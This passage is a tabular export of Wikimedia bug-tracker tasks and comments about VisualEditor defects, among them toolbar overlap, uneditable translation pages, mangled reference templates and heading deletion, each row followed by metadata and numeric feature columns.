+**Attached**: {F11898}",High,80.0,1372339980,1375298856.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-7u4x4gvkmazindkefefh,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+255120,VisualEditor: Template/Image node shields should not not appear on top of the toolbar,This would have been fixed this time last week with the general z-index re-write; sorry for only getting to this now.,,,1373519669,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7u4x4gvkmazindkefefh,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+255116,VisualEditor: Template/Image node shields should not not appear on top of the toolbar,Another complaint about this - the editor was using Google Chrome 28.0.1500.63 on Ubuntu 13.04.,,,1372793827,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-7u4x4gvkmazindkefefh,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+52284,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","Not sure if this should be filed under VisualEditor or Translate.
+
+When clicking the ""edit source"" button on a translation or a page that uses the Translate extension, it isn't possible to edit the wikitext directly; instead, the user is told to use the Translate extension to change the content.
+
+When clicking the ""edit"" button on a translation of a page that uses the Translate extension, it's possible to edit the text with VisualEditor. At first, I thought this was a feature, and that changes would be propagated to the Translate extension, until I tried to save the page and got the following error:
+
+Error saving data to server: Unsuccessful request: Unknown error: ""tpt-target-page"".
+
+If VisualEditor can't be used to edit those pages, it probably shouldn't lead users to believe it can :)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48891
+https://bugzilla.wikimedia.org/show_bug.cgi?id=61218",High,80.0,1372338540,1395268154.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+255068,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","Change 119427 merged by jenkins-bot:
+Disable VisualEditor on Page Translation output pages
+
+https://gerrit.wikimedia.org/r/119427",,,1395268059,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+255064,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","Change 119427 had a related patch set uploaded by Jforrester:
+Disable VisualEditor on Page Translation output pages
+
+https://gerrit.wikimedia.org/r/119427",,,1395190355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+255060,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","(In reply to comment #9)
+> I just VEdited a page on mw.org (Communication) and it seemed to work (beyond
+> the translate tags showing up).
+
+Nope, the error happens when you try to edit a translation, not the source page :) e.g. try to edit Communication/it",,,1380618535,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+255056,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",I just VEdited a page on mw.org (Communication) and it seemed to work (beyond the translate tags showing up).,,,1380277979,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+255053,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",I assume VE checks whether the page is editable somewhere? I wonder if changing the hook in Translate from getUserPermissionsErrorsExpensive to getUserPermissionsErrors would solve this? Would have to make sure that the hook is efficient then.,,,1374942941,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+255050,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","Presumably there is a simple check we can do for whether the page is under the protection of the Translate extension, so we can do
+
+if (
+  …
+  if <Translate extension installed> && !<page is Translate-protected>
+  …
+) { <do not load> }
+
+… in the code in ViewPageTarget init?",,,1374858968,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+255046,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",*** Bug 51805 has been marked as a duplicate of this bug. ***,,,1374854170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+255042,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",*** Bug 51931 has been marked as a duplicate of this bug. ***,,,1374703814,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+255036,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","e.g.
+https://www.mediawiki.org/wiki/Communication/hu?veaction=edit",,,1374310653,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+255027,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",%%%*** Bug 51534 has been marked as a duplicate of this bug. ***%%%,,,1374071458,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+255021,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly","I tested this on mediawiki.org following a report on the English Wikipedia, but instead of getting an error VisualEditor just silently refused to save the page - the progress bar appeared for a typical amount of time then I was back to the save dialog as if I hadn't pressed save. Lather, rinse, repeat.",,,1374003370,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+255015,"VisualEditor: Disable veaction=edit on translation pages, which are not editable directly",Just a note to say that this keeps happening. Thanks!,,,1373956496,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-orgyqstlg3e7bpbpnpc5,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+52271,VisualEditor: VE eats away the end of </ref>}} templates,"It has happened to me several times that after a simple edition VisualEditor or Parsoid breaks the ""</ref>}}"" at the end of a reference template. I still don't know which is the pattern, but at least this time I realized it:
+
+http://ca.wikipedia.org/w/index.php?title=El_Chornaler&diff=11962426&oldid=11962407
+
+Other times a second editor had to come after me fixing the broken template. In the preview before saving everything looks fine.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372313340,1375941682.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-oqhko7t4wfln3rpauqc5,task_description,resolved,True,c1,2,False,False,True,-1,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1
+254426,VisualEditor: VE eats away the end of </ref>}} templates,I can't reproduce it either. Let's say it's fixed.,,,1375941682,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-oqhko7t4wfln3rpauqc5,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+254421,VisualEditor: VE eats away the end of </ref>}} templates,I can't now reproduce this - is it still occurring?,,,1375486975,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oqhko7t4wfln3rpauqc5,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0
+52261,extension Campaigns (and some others?) not current,"http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version shows extension Campaigns not updated since 12 June, but should be current as of https://gerrit.wikimedia.org/r/#/c/69841/ at least.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372283340,1372349281.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-erpehiwtm4uj5znmo2et,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+253905,extension Campaigns (and some others?) not current,"(In reply to comment #4)
+Yes. I made a trivial update to Campaigns, and after merging to master it was on http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version within minutes.",,,1372377246,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+253900,extension Campaigns (and some others?) not current,Well Campaigns is still broken right now.  I guess it will be up to date whenever a commit is merged in that repository,,,1372350405,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+253896,extension Campaigns (and some others?) not current,"A bunch of them were broken.
+
+Fixed in https://gerrit.wikimedia.org/r/#/c/70834/.",,,1372349281,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0
+253892,extension Campaigns (and some others?) not current,And see bug 49846 mediawiki/extensions.git does not update VisualEditor,,,1372348373,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+253888,extension Campaigns (and some others?) not current,I guess it is misconfigured on Gerrit side (see bug 49906).,,,1372348270,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-erpehiwtm4uj5znmo2et,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+52254,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"if an article starts with 
+==Foo==
+Bar Baz Fizz Buzz
+
+It is impossible to remove ==Foo== without having the paragraph take on the h2 markup
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372276980,1380876577.0,PHID-USER-n27daagbl3wqf3ghr4nk,False,,False,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+253576,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"**Wikifram** wrote:
+
+(ec) Yeah, I'm a bit frustrated by the number of errors in that status update, and the apparent lack of possibilities to correct these (even as an addendum or some such) and lack of care about this among the people responsible for this. Not your fault though. Thanks for filing that bug.",,,1380880306,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+253573,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,Filed as bug 54964,,,1380880152,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+253568,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"Steady on, they're similar bugs and easy to confuse.
+
+The case you describe at the end does sound like a separate bug.",,,1380879819,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+253563,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"**Wikifram** wrote:
+
+(In reply to comment #10)
+> You're confusing this with bug 50100.
+
+Not my mistake though, this was reported like this in the VisualEditor weekly update - 2013-09-26 (MW 1.22wmf19) by Jdforrester:
+
+""Blanking the contents of a heading, pre-formatted block or other formatting block now deletes the block rather than leaving it empty, which is consistent with how OpenOffice and Google Docs behave (bug 50254)."" 
+
+I noted that what the VE status report describes is ''not'' fixed, and followed the link number given in the VE status report. If this bug is about something else than what the VE status report described, then this is just one more in the already long list of things wrong with that status report (for which it is apparently ""impossible"" to write an update or correction in any way, shape or form). 
+
+Anyway, you still get the behaviour as described: Go to the first word you want to keep (after the initial header), and use backspace to remove the header: your next paragraph now becomes the header. Only when you first empty the header (leaving the line beneath it), and then go to the text and use backspace, is it possible to remove a starting header without converting the following text into a header. I wouldn't call this ""solved"", perhaps ""somewhat improved"" assuming that the latter possibility / workaround didn't work in the past. (I note that you only go to the start of the heading, and then select ""downwards"" instead of ""sideways""; deleting the header like this works as well)
+
+Note also that if yu eventually get rid of that header, it seems to be impossible to remove a first empty line from an article: [https://en.wikipedia.org/w/index.php?title=User%3AFram%2Fsandbox&diff=575703425&oldid=575703070]. Probably needs a different bug (or already exists), but not really optimal either.",,,1380878361,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,13,,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+253559,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,You're confusing this with bug 50100.,,,1380876577,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+253552,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"**Wikifram** wrote:
+
+Nice that this is solved, except that it isn't. I had already noted that at MediaWiki, it still blanks the header (but doesn't add nowiki). Tested today at enwiki, and sadly, even worse, again a nowiki was added inside the header instead of removing the empty header: [https://en.wikipedia.org/w/index.php?title=Robbers_Cave_State_Park&diff=575691345&oldid=558376701]
+
+Has this patch ever worked anywhere? Diff?",,,1380869071,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,1
+253548,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"Change 85673 merged by jenkins-bot:
+Delete empty nodes instead of merging into them
+
+https://gerrit.wikimedia.org/r/85673",,,1380047332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+253545,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,The delete-when-empty-merge-otherwise behaviour implemented by the patch above is also used by OO/LO & Google docs.,,,1379946372,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+253541,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"Change 85673 had a related patch set uploaded by Esanders:
+Delete empty nodes instead of merging into them
+
+https://gerrit.wikimedia.org/r/85673",,,1379946235,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+253537,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,This is a separate issue to bug 51829 (now bug 50100).,,,1379946203,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+253533,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"It happens to me always, even if the heading is in the middle of the page.",,,1374826649,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+253527,VisualEditor: Can't remove heading without header markup leaking to the rest of the page if it is the first element of the page,"They definitely seem related, with the distinction that this but has the problem that there is no slug (am I using the lingo right) on the line above the first header if the header is the first element of the page. Merge however you feel is most useful.",,,1374524826,,PHID-USER-n27daagbl3wqf3ghr4nk,False,,,PHID-TASK-d6skq2oyzzqzdxdbdskt,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
